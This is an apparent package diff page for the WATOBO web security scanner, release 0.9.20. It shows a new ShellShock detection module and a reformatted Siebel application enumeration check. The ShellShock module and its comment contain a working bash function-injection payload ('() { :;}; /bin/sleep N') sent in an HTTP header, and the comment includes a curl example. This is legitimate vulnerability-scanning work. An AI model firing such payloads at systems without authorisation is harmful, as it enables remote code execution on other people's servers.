RubyGems - watobo - Versions diffs - 0.9.19 → 0.9.20 - Mend

watobo 0.9.19 → 0.9.20

Files changed (266) hide show

data/CHANGELOG.md +104 -0
data/bin/nfq_server.rb +8 -20
data/bin/watobo_gui.rb +8 -20
data/config/forwarding_proxy.yml +2 -2
data/lib/watobo.rb +12 -22
data/lib/watobo/adapters.rb +12 -24
data/lib/watobo/adapters/data_store.rb +76 -66
data/lib/watobo/adapters/file/file_store.rb +295 -307
data/lib/watobo/adapters/session_store.rb +13 -25
data/lib/watobo/ca.rb +9 -21
data/lib/watobo/config.rb +205 -217
data/lib/watobo/constants.rb +8 -20
data/lib/watobo/core.rb +11 -23
data/lib/watobo/core/active_check.rb +11 -21
data/lib/watobo/core/active_checks.rb +57 -69
data/lib/watobo/core/ca.rb +388 -398
data/lib/watobo/core/cert_store.rb +42 -54
data/lib/watobo/core/chat.rb +100 -112
data/lib/watobo/core/chats.rb +271 -275
data/lib/watobo/core/client_cert_store.rb +33 -45
data/lib/watobo/core/conversation.rb +56 -68
data/lib/watobo/core/cookie.rb +31 -43
data/lib/watobo/core/finding.rb +74 -86
data/lib/watobo/core/findings.rb +113 -125
data/lib/watobo/core/forwarding_proxy.rb +44 -35
data/lib/watobo/core/fuzz_gen.rb +8 -20
data/lib/watobo/core/intercept_carver.rb +176 -188
data/lib/watobo/core/intercept_filter.rb +243 -255
data/lib/watobo/core/interceptor.rb +106 -118
data/lib/watobo/core/min_class.rb +12 -24
data/lib/watobo/core/netfilter_queue.rb +178 -190
data/lib/watobo/core/ott_cache.rb +152 -148
data/lib/watobo/core/parameter.rb +53 -58
data/lib/watobo/core/passive_check.rb +8 -20
data/lib/watobo/core/passive_checks.rb +56 -68
data/lib/watobo/core/passive_scanner.rb +54 -66
data/lib/watobo/core/plugin.rb +19 -31
data/lib/watobo/core/project.rb +8 -20
data/lib/watobo/core/proxy.rb +51 -63
data/lib/watobo/core/request.rb +128 -120
data/lib/watobo/core/response.rb +59 -61
data/lib/watobo/core/scanner.rb +8 -20
data/lib/watobo/core/scanner3.rb +413 -425
data/lib/watobo/core/scope.rb +91 -103
data/lib/watobo/core/session.rb +109 -87
data/lib/watobo/core/sid_cache.rb +106 -118
data/lib/watobo/core/subscriber.rb +33 -45
data/lib/watobo/defaults.rb +29 -41
data/lib/watobo/external/diff/lcs.rb +8 -20
data/lib/watobo/external/diff/lcs/array.rb +8 -20
data/lib/watobo/external/diff/lcs/block.rb +8 -20
data/lib/watobo/external/diff/lcs/callbacks.rb +8 -20
data/lib/watobo/external/diff/lcs/change.rb +8 -20
data/lib/watobo/external/diff/lcs/hunk.rb +8 -20
data/lib/watobo/external/diff/lcs/ldiff.rb +8 -20
data/lib/watobo/external/diff/lcs/string.rb +8 -20
data/lib/watobo/externals.rb +14 -26
data/lib/watobo/framework.rb +12 -24
data/lib/watobo/framework/create_project.rb +68 -80
data/lib/watobo/framework/init.rb +8 -20
data/lib/watobo/framework/init_modules.rb +8 -20
data/lib/watobo/framework/license_text.rb +36 -48
data/lib/watobo/framework/load_chat.rb +21 -33
data/lib/watobo/gui.rb +121 -133
data/lib/watobo/gui/about_watobo.rb +8 -20
data/lib/watobo/gui/browser_preview.rb +8 -20
data/lib/watobo/gui/certificate_dialog.rb +8 -20
data/lib/watobo/gui/chat_diff.rb +11 -21
data/lib/watobo/gui/chatviewer_frame.rb +10 -22
data/lib/watobo/gui/checkboxtree.rb +8 -20
data/lib/watobo/gui/checks_policy_frame.rb +8 -20
data/lib/watobo/gui/client_cert_dialog.rb +10 -21
data/lib/watobo/gui/confirm_scan_dialog.rb +8 -20
data/lib/watobo/gui/conversation_table.rb +54 -44
data/lib/watobo/gui/conversation_table_ctrl.rb +215 -227
data/lib/watobo/gui/conversation_table_ctrl2.rb +385 -393
data/lib/watobo/gui/csrf_token_dialog.rb +11 -25
data/lib/watobo/gui/custom_viewer.rb +357 -369
data/lib/watobo/gui/dashboard.rb +8 -20
data/lib/watobo/gui/define_scope_frame.rb +8 -20
data/lib/watobo/gui/differ_frame.rb +223 -235
data/lib/watobo/gui/edit_comment.rb +8 -20
data/lib/watobo/gui/edit_scope_dialog.rb +8 -20
data/lib/watobo/gui/export_dialog.rb +114 -0
data/lib/watobo/gui/finding_info.rb +9 -21
data/lib/watobo/gui/findings_tree.rb +8 -20
data/lib/watobo/gui/full_scan_dialog.rb +8 -20
data/lib/watobo/gui/fuzzer_gui.rb +8 -20
data/lib/watobo/gui/goto_url_dialog.rb +78 -90
data/lib/watobo/gui/hex_viewer.rb +25 -27
data/lib/watobo/gui/html_viewer.rb +295 -307
data/lib/watobo/gui/intercept_filter_dialog.rb +196 -208
data/lib/watobo/gui/interceptor_gui.rb +1046 -1041
data/lib/watobo/gui/interceptor_settings_dialog.rb +8 -20
data/lib/watobo/gui/list_box.rb +109 -121
data/lib/watobo/gui/log_file_viewer.rb +40 -52
data/lib/watobo/gui/log_viewer.rb +87 -99
data/lib/watobo/gui/login_wizzard.rb +8 -20
data/lib/watobo/gui/main_window.rb +34 -33
data/lib/watobo/gui/manual_request_editor.rb +25 -35
data/lib/watobo/gui/master_pw_dialog.rb +8 -20
data/lib/watobo/gui/mixins/gui_settings.rb +37 -49
data/lib/watobo/gui/page_tree.rb +225 -237
data/lib/watobo/gui/password_policy_dialog.rb +8 -20
data/lib/watobo/gui/plugin_board.rb +8 -20
data/lib/watobo/gui/preferences_dialog.rb +8 -20
data/lib/watobo/gui/progress_window.rb +8 -20
data/lib/watobo/gui/project_wizzard.rb +8 -20
data/lib/watobo/gui/proxy_dialog.rb +117 -85
data/lib/watobo/gui/quick_scan_dialog.rb +8 -20
data/lib/watobo/gui/request_builder_frame.rb +125 -122
data/lib/watobo/gui/request_editor.rb +53 -28
data/lib/watobo/gui/rewrite_filters_dialog.rb +402 -414
data/lib/watobo/gui/rewrite_rules_dialog.rb +380 -392
data/lib/watobo/gui/save_chat_dialog.rb +148 -160
data/lib/watobo/gui/scanner_settings_dialog.rb +8 -20
data/lib/watobo/gui/select_chat_dialog.rb +8 -20
data/lib/watobo/gui/session_management_dialog.rb +8 -20
data/lib/watobo/gui/sites_tree.rb +118 -22
data/lib/watobo/gui/status_bar.rb +8 -20
data/lib/watobo/gui/table_editor.rb +76 -53
data/lib/watobo/gui/tagless_viewer.rb +10 -21
data/lib/watobo/gui/templates/plugin.rb +8 -20
data/lib/watobo/gui/templates/plugin2.rb +99 -111
data/lib/watobo/gui/templates/plugin_base.rb +152 -164
data/lib/watobo/gui/text_viewer.rb +8 -20
data/lib/watobo/gui/transcoder_window.rb +15 -22
data/lib/watobo/gui/utils/gui_utils.rb +8 -20
data/lib/watobo/gui/utils/init_icons.rb +94 -106
data/lib/watobo/gui/utils/load_icons.rb +41 -53
data/lib/watobo/gui/utils/load_plugins.rb +118 -130
data/lib/watobo/gui/utils/master_password.rb +76 -88
data/lib/watobo/gui/utils/save_default_settings.rb +121 -133
data/lib/watobo/gui/utils/save_project_settings.rb +8 -20
data/lib/watobo/gui/utils/save_proxy_settings.rb +53 -21
data/lib/watobo/gui/utils/save_scanner_settings.rb +26 -38
data/lib/watobo/gui/utils/session_history.rb +120 -132
data/lib/watobo/gui/workspace_dialog.rb +8 -20
data/lib/watobo/gui/www_auth_dialog.rb +8 -20
data/lib/watobo/gui/xml_viewer_frame.rb +8 -20
data/lib/watobo/http.rb +12 -23
data/lib/watobo/http/cookies/cookies.rb +63 -70
data/lib/watobo/http/data/data.rb +56 -64
data/lib/watobo/http/data/json.rb +51 -0
data/lib/watobo/http/url/url.rb +46 -58
data/lib/watobo/http/xml/xml.rb +129 -141
data/lib/watobo/interceptor.rb +11 -23
data/lib/watobo/interceptor/proxy.rb +624 -625
data/lib/watobo/interceptor/transparent.rb +22 -34
data/lib/watobo/mixins.rb +18 -30
data/lib/watobo/mixins/check_info.rb +35 -47
data/lib/watobo/mixins/httpparser.rb +42 -35
data/lib/watobo/mixins/request_parser.rb +8 -20
data/lib/watobo/mixins/shapers.rb +484 -477
data/lib/watobo/mixins/transcoders.rb +8 -20
data/lib/watobo/parser.rb +9 -21
data/lib/watobo/parser/html.rb +91 -103
data/lib/watobo/sockets.rb +11 -23
data/lib/watobo/sockets/agent.rb +836 -848
data/lib/watobo/sockets/client_socket.rb +283 -277
data/lib/watobo/sockets/connection.rb +409 -421
data/lib/watobo/sockets/http_socket.rb +16 -23
data/lib/watobo/sockets/ntlm_auth.rb +137 -149
data/lib/watobo/utils.rb +18 -30
data/lib/watobo/utils/check_regex.rb +8 -20
data/lib/watobo/utils/copy_object.rb +8 -20
data/lib/watobo/utils/crypto.rb +8 -20
data/lib/watobo/utils/expand_range.rb +31 -43
data/lib/watobo/utils/export_xml.rb +108 -0
data/lib/watobo/utils/file_management.rb +8 -20
data/lib/watobo/utils/hexprint.rb +17 -29
data/lib/watobo/utils/load_chat.rb +8 -20
data/lib/watobo/utils/load_icon.rb +8 -20
data/lib/watobo/{external/ntlm → utils}/ntlm.rb +874 -796
data/lib/watobo/utils/print_debug.rb +20 -32
data/lib/watobo/utils/response_builder.rb +98 -110
data/lib/watobo/utils/response_hash.rb +9 -20
data/lib/watobo/utils/secure_eval.rb +10 -22
data/lib/watobo/utils/strings.rb +18 -30
data/lib/watobo/utils/text2request.rb +12 -20
data/lib/watobo/utils/url.rb +31 -43
data/lib/watobo/utils/utf16.rb +22 -0
data/modules/active/Apache/mod_status.rb +9 -0
data/modules/active/Apache/multiview.rb +161 -0
data/modules/active/Flash/crossdomain.rb +9 -0
data/modules/active/directories/dirwalker.rb +8 -20
data/modules/active/discovery/fileextensions.rb +10 -22
data/modules/active/discovery/http_methods.rb +8 -20
data/modules/active/domino/domino_db.rb +8 -20
data/modules/active/dotNET/custom_errors.rb +110 -122
data/modules/active/dotNET/dotnet_files.rb +98 -110
data/modules/active/fileinclusion/lfi_simple.rb +8 -20
data/modules/active/jboss/jboss_basic.rb +8 -20
data/modules/active/sap/business_objects.rb +63 -0
data/modules/active/sap/its_commands.rb +8 -20
data/modules/active/sap/its_service_parameter.rb +8 -20
data/modules/active/sap/its_services.rb +8 -20
data/modules/active/sap/its_xss.rb +8 -20
data/modules/active/shell_shock/shell_shock.rb +149 -0
data/modules/active/siebel/siebel_apps.rb +168 -180
data/modules/active/sqlinjection/sql_boolean.rb +9 -21
data/modules/active/sqlinjection/sqli_error.rb +10 -22
data/modules/active/sqlinjection/sqli_timing.rb +228 -240
data/modules/active/struts2/default_handler_ognl.rb +114 -126
data/modules/active/struts2/include_params_ognl.rb +113 -125
data/modules/active/xml/xml_xxe.rb +122 -127
data/modules/active/xss/xss_ng.rb +223 -234
data/modules/active/xss/xss_simple.rb +8 -20
data/modules/passive/ajax.rb +76 -84
data/modules/passive/autocomplete.rb +64 -76
data/modules/passive/cookie_options.rb +8 -20
data/modules/passive/cookie_xss.rb +9 -21
data/modules/passive/detect_code.rb +9 -21
data/modules/passive/detect_fileupload.rb +11 -22
data/modules/passive/detect_infrastructure.rb +23 -35
data/modules/passive/detect_one_time_tokens.rb +8 -20
data/modules/passive/dirindexing.rb +9 -21
data/modules/passive/disclosure_domino.rb +66 -79
data/modules/passive/disclosure_emails.rb +9 -21
data/modules/passive/disclosure_ipaddr.rb +15 -23
data/modules/passive/filename_as_parameter.rb +8 -20
data/modules/passive/form_spotter.rb +15 -21
data/modules/passive/hidden_fields.rb +64 -70
data/modules/passive/hotspots.rb +13 -22
data/modules/passive/in_script_parameter.rb +15 -24
data/modules/passive/multiple_server_headers.rb +8 -20
data/modules/passive/possible_login.rb +12 -23
data/modules/passive/redirect_url.rb +10 -22
data/modules/passive/redirectionz.rb +9 -21
data/modules/passive/sap-headers.rb +64 -76
data/modules/passive/xss_dom.rb +10 -21
data/plugins/catalog/catalog.rb +17 -23
data/plugins/crawler/crawler.rb +12 -24
data/plugins/crawler/gui.rb +13 -25
data/plugins/crawler/gui/auth_frame.rb +278 -290
data/plugins/crawler/gui/crawler_gui.rb +302 -320
data/plugins/crawler/gui/general_settings_frame.rb +104 -116
data/plugins/crawler/gui/hooks_frame.rb +88 -100
data/plugins/crawler/gui/scope_frame.rb +58 -70
data/plugins/crawler/gui/settings_tabbook.rb +46 -58
data/plugins/crawler/gui/status_frame.rb +67 -78
data/plugins/crawler/lib/bags.rb +26 -38
data/plugins/crawler/lib/constants.rb +19 -31
data/plugins/crawler/lib/engine.rb +505 -508
data/plugins/crawler/lib/grabber.rb +77 -87
data/plugins/crawler/lib/status.rb +82 -0
data/plugins/crawler/lib/uri_mp.rb +20 -32
data/plugins/filefinder/dbs/siebel_paths.txt +1118 -0
data/plugins/filefinder/dbs/subs-big.lst +31986 -0
data/plugins/filefinder/filefinder.rb +13 -23
data/plugins/sqlmap/bin/test.rb +86 -98
data/plugins/sqlmap/gui.rb +12 -24
data/plugins/sqlmap/gui/main.rb +226 -238
data/plugins/sqlmap/gui/options_frame.rb +105 -117
data/plugins/sqlmap/lib/sqlmap_ctrl.rb +103 -115
data/plugins/sqlmap/sqlmap.rb +10 -22
data/plugins/sslchecker/cli/sslchecker_cli.rb +8 -20
data/plugins/sslchecker/gui/cipher_table.rb +252 -264
data/plugins/sslchecker/gui/gui.rb +267 -276
data/plugins/sslchecker/gui/sslchecker.rb +12 -24
data/plugins/sslchecker/lib/check.rb +172 -80
data/plugins/wshell/gui/main.rb +115 -127
data/plugins/wshell/lib/core.rb +85 -97
data/plugins/wshell/wshell.rb +19 -31
metadata +14 -6
data/.yardopts +0 -24

data/modules/active/shell_shock/shell_shock.rb ADDED Viewed

@@ -0,0 +1,149 @@
+#.
+# shell_shock.rb
+#.
+# Copyright 2014 by siberas, http://www.siberas.de
+# This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
+# WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
+# WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+=begin
+$ curl -i -H "Negotiate: () { :; }; /bin/sleep 3" http://192.168.70.134/cgi-bin/shock.cgi
+HTTP/1.1 500 Internal Server Error
+Date: Fri, 24 Jan 2014 08:50:10 GMT
+Server: Apache/2.2.22 (Debian)
+Vary: Accept-Encoding
+Content-Length: 619
+Connection: close
+Content-Type: text/html; charset=iso-8859-1
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title>500 Internal Server Error</title>
+</head><body>
+<h1>Internal Server Error</h1>
+<p>The server encountered an internal error or
+misconfiguration and was unable to complete
+your request.</p>
+<p>Please contact the server administrator,
+ webmaster@localhost and inform them of the time the error occurred,
+and anything you might have done that may have
+caused the error.</p>
+<p>More information about this error may be available
+in the server error log.</p>
+<hr>
+<address>Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80</address>
+</body></html>
+=end
+module Watobo#:nodoc: all
+  module Modules
+    module Active
+      module Shell_shock
+        class Shell_shock < Watobo::ActiveCheck
+          @info.update(
+                         :check_name => 'ShellShock',    # name of check which briefly describes functionality, will be used for tree and progress views
+            :check_group => AC_GROUP_GENERIC,
+            :description => "",   # description of checkfunction
+            :author => "Andreas Schmidt", # author of check
+            :version => "0.9"   # check version
+            )
+            threat =<<'EOF'
+            Really bad, bad things can happen!
+EOF
+            measure = "Patch it!"
+            @finding.update(
+                            :threat => threat,        # thread of vulnerability, e.g. loss of information
+                            :class => "ShellShock (RCE)",    # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
+                            :type => FINDING_TYPE_VULN,         # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
+                            :rating => VULN_RATING_CRITICAL,
+                            :measure => measure
+                            )
+          def initialize(project, prefs={})
+            super(project, prefs)
+          end
+          def generateChecks(chat)
+                checker = proc {
+                   test_request = nil
+                   test_response = nil
+                   output = ""
+                   rtimes = []
+                   timing_response = nil
+                   3.times do
+                        test = chat.copyRequest
+                         start = Time.now().to_i
+                         timing_request, timing_response = doRequest(test,:default => true)
+                         stop = Time.now().to_i
+                         rtimes << ( stop - start )
+                    end
+                      # now calculate the average time
+                      t_average = rtimes.inject(:+) / rtimes.length
+                      t_average = 1 if t_average == 0
+                      time_to_sleep = rtimes.max > (2 * t_average) ? rtimes.max : (2 * t_average)
+                      timeout_counter = 0
+                     t_start = Time.now().to_i
+                   request = chat.copyRequest
+                   request.addHeader("Negotiate", "() { :;}; /bin/sleep #{time_to_sleep}")
+                   test_request, test_response = doRequest(request, :default => true)
+                   t_stop = Time.now.to_i
+                   timeout_counter += 1
+                   duration = t_stop - t_start
+                   #  puts duration
+                   if ( duration >= time_to_sleep )
+                           puts "Found ShellShock Vulnerablitiy !!!"
+                           puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)"
+                           test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path
+                           path = "/" + test_request.path
+                           output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s"
+                           addFinding( test_request, test_response,
+                                     :check_pattern => "Negotiate.*sleep \d",
+                                     :chat => chat,
+                                     :title => "[Timing] - #{path}",
+                                     :proof_pattern => "",
+                                     :test_item => "Negotiate",
+                                     :class => "ShellShock (Time-based)",
+                                     :output => output
+                                     )
+                            #readlines
+                          break
+                         end
+                    [ test_request, test_response ]
+                  }
+                  yield checker
+             end
+          end
+        # --> eo namespace
+      end
+    end
+  end
+end

data/modules/active/siebel/siebel_apps.rb CHANGED Viewed

@@ -1,182 +1,170 @@
-# .
+#.
 # siebel_apps.rb
-#
-# Copyright 2013 by siberas, http://www.siberas.de
-#
-# This file is part of WATOBO (Web Application Tool Box)
-#        http://watobo.sourceforge.com
-#
-# WATOBO is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation version 2 of the License.
-#
-# WATOBO is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with WATOBO; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-# .
-# @private
-module Watobo#:nodoc: all
-  module Modules
-    module Active
-      module Siebel
-        class Siebel_apps < Watobo::ActiveCheck
-          check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
-          @@tested_directories = Hash.new
-          @info.update(
-                         :check_name => 'Siebel Applications',    # name of check which briefly describes functionality, will be used for tree and progress views
-            :description => "Enumerate Siebel Applications And Default Files, e.g. base.txt",   # description of checkfunction
-            :author => "Andreas Schmidt", # author of check
-            :version => "1.0",   # check version
-            :check_group =>  check_group
-            )
-            @finding.update(
-                            :threat => 'Information',        # thread of vulnerability, e.g. loss of information
-            :class => "Siebel: Default Applications",    # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
-            :type => FINDING_TYPE_INFO         # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
-            )
-          def initialize(project, prefs={})
-            super(project, prefs)
-            @apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
-            @langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
-          end
-           def reset()
-            @@tested_directories.clear
+#.
+# Copyright 2014 by siberas, http://www.siberas.de
+# This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
+# WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
+# WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-          end
-          def generateChecks(chat)
-            begin
-              path = chat.request.dir
-             # puts "!!!!#{self}: #{path}"
-              unless @@tested_directories.has_key?(path)
-                @@tested_directories[path] = true
-                @apps.each do |app|
-                  @langs.each do |lang|
-                  checker = proc{
-                    begin
-                    app_dir = "#{app}_#{lang}"
-                    #puts app_dir
-                    test_request = nil
-                    test_response = nil
-                    test = chat.copyRequest
-                    test.appendDir app_dir
-                    status, test_request, test_response = fileExists?(test, :default => true)
-                    if status == true
-                   #   test_chat = Chat.new(test,test_response, :id => chat.id)
-                        addFinding( test_request,test_response,
-                          :test_item => chat.request.url.to_s,
-                          :check_pattern => "#{app_dir}",
-                          :proof_pattern => "#{test_response.status}",
-                          :chat => chat,
-                          :title => "#{app_dir}"
-                      )
-                      # check for _stats.swe
-                      stats_test = chat.copyRequest
-                      stats_test.replaceFileExt("_stats.swe")
-                      status, stats_request, stats_response = fileExists?( stats_test, :default => true)
-                      if status == true and stats_response.has_body?
-                         addFinding( stats_request,stats_response,
-                          :test_item => stats_request.url.to_s,
-                          :check_pattern => "#{app_dir}",
-                          :proof_pattern => "#{stats_response.status}",
-                          :chat => chat,
-                          :title => "#{app_dir}",
-                          :check_name => "Siebel Stats Page",
-                          :class => "Siebel: Stats Page"
-                        )
-                      end
-                      # check for base.txt
-                      base_test = chat.copyRequest
-                      base_test.appendDir app_dir
-                      base_test.replaceFileExt("base.txt")
-                     # puts base_test.url
-                      status, base_request, base_response = fileExists?(base_test, :default => true)
-                      if status == true and base_response.has_body?
-                        version = nil
-                        if base_response.body.strip =~ /^([0-9.]*) /
-                          version = $1
-                        end
-                         addFinding( base_request,base_response,
-                          :test_item => base_request.url.to_s,
-                          :check_pattern => "base.txt",
-                          :proof_pattern => "#{base_response.status}",
-                          :chat => chat,
-                          :title => "#{app_dir}",
-                          :check_name => "Siebel Version #{version}",
-                          :class => "Siebel: Version #{version}"
-                        )
-                      end
-                      # check for About_Siebel.htm and siebindex.htm
-                      %w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df|
-                        default_test = chat.copyRequest
-                      default_test.appendDir app_dir
-                      default_test.replaceFileExt(df)
-                      status, default_request, default_response = fileExists?(default_test, :default => true)
-                      if status == true
-                         addFinding( default_request,default_response,
-                          :test_item => "#{default_request.url.to_s}",
-                          :check_pattern => "#{df}",
-                          :proof_pattern => "#{default_response.status}",
-                          :chat => chat,
-                          :title => "#{df}",
-                          #:check_name => "Siebel Version #{version}",
-                          :class => "Siebel: Default Files"
-                        )
-                      end
-                      end
-                    end
-                    rescue => bang
-                      puts bang
-                      puts bang.backtrace
-                    end
-                    [ test_request, test_response ]
-                  }
-                  yield checker
-                  end
-                end
-              end
-            rescue => bang
-              puts bang
-              puts "ERROR!! #{Module.nesting[0].name}"
-              raise
-            end
-          end
-        end
-        # --> eo namespace
-      end
-    end
-  end
-end
+# @private
+module Watobo#:nodoc: all
+  module Modules
+    module Active
+      module Siebel
+        class Siebel_apps < Watobo::ActiveCheck
+          check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
+          @@tested_directories = Hash.new
+          @info.update(
+                         :check_name => 'Siebel Applications',    # name of check which briefly describes functionality, will be used for tree and progress views
+            :description => "Enumerate Siebel Applications And Default Files, e.g. base.txt",   # description of checkfunction
+            :author => "Andreas Schmidt", # author of check
+            :version => "1.0",   # check version
+            :check_group =>  check_group
+            )
+            @finding.update(
+                            :threat => 'Information',        # thread of vulnerability, e.g. loss of information
+            :class => "Siebel: Default Applications",    # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
+            :type => FINDING_TYPE_INFO         # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
+            )
+          def initialize(project, prefs={})
+            super(project, prefs)
+            @apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
+            @langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
+          end
+           def reset()
+            @@tested_directories.clear
+          end
+          def generateChecks(chat)
+            begin
+              path = chat.request.dir
+             # puts "!!!!#{self}: #{path}"
+              unless @@tested_directories.has_key?(path)
+                @@tested_directories[path] = true
+                @apps.each do |app|
+                  @langs.each do |lang|
+                  checker = proc{
+                    begin
+                    app_dir = "#{app}_#{lang}"
+                    #puts app_dir
+                    test_request = nil
+                    test_response = nil
+                    test = chat.copyRequest
+                    test.appendDir app_dir
+                    status, test_request, test_response = fileExists?(test, :default => true)
+                    if status == true
+                   #   test_chat = Chat.new(test,test_response, :id => chat.id)
+                        addFinding( test_request,test_response,
+                          :test_item => chat.request.url.to_s,
+                          :check_pattern => "#{app_dir}",
+                          :proof_pattern => "#{test_response.status}",
+                          :chat => chat,
+                          :title => "#{app_dir}"
+                      )
+                      # check for _stats.swe
+                      stats_test = chat.copyRequest
+                      stats_test.replaceFileExt("_stats.swe")
+                      status, stats_request, stats_response = fileExists?( stats_test, :default => true)
+                      if status == true and stats_response.has_body?
+                         addFinding( stats_request,stats_response,
+                          :test_item => stats_request.url.to_s,
+                          :check_pattern => "#{app_dir}",
+                          :proof_pattern => "#{stats_response.status}",
+                          :chat => chat,
+                          :title => "#{app_dir}",
+                          :check_name => "Siebel Stats Page",
+                          :class => "Siebel: Stats Page"
+                        )
+                      end
+                      # check for base.txt
+                      base_test = chat.copyRequest
+                      base_test.appendDir app_dir
+                      base_test.replaceFileExt("base.txt")
+                     # puts base_test.url
+                      status, base_request, base_response = fileExists?(base_test, :default => true)
+                      if status == true and base_response.has_body?
+                        version = nil
+                        if base_response.body.strip =~ /^([0-9.]*) /
+                          version = $1
+                        end
+                         addFinding( base_request,base_response,
+                          :test_item => base_request.url.to_s,
+                          :check_pattern => "base.txt",
+                          :proof_pattern => "#{base_response.status}",
+                          :chat => chat,
+                          :title => "#{app_dir}",
+                          :check_name => "Siebel Version #{version}",
+                          :class => "Siebel: Version #{version}"
+                        )
+                      end
+                      # check for About_Siebel.htm and siebindex.htm
+                      %w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df|
+                        default_test = chat.copyRequest
+                      default_test.appendDir app_dir
+                      default_test.replaceFileExt(df)
+                      status, default_request, default_response = fileExists?(default_test, :default => true)
+                      if status == true
+                         addFinding( default_request,default_response,
+                          :test_item => "#{default_request.url.to_s}",
+                          :check_pattern => "#{df}",
+                          :proof_pattern => "#{default_response.status}",
+                          :chat => chat,
+                          :title => "#{df}",
+                          #:check_name => "Siebel Version #{version}",
+                          :class => "Siebel: Default Files"
+                        )
+                      end
+                      end
+                    end
+                    rescue => bang
+                      puts bang
+                      puts bang.backtrace
+                    end
+                    [ test_request, test_response ]
+                  }
+                  yield checker
+                  end
+                end
+              end
+            rescue => bang
+              puts bang
+              puts "ERROR!! #{Module.nesting[0].name}"
+              raise
+            end
+          end
+        end
+        # --> eo namespace
+      end
+    end
+  end
+end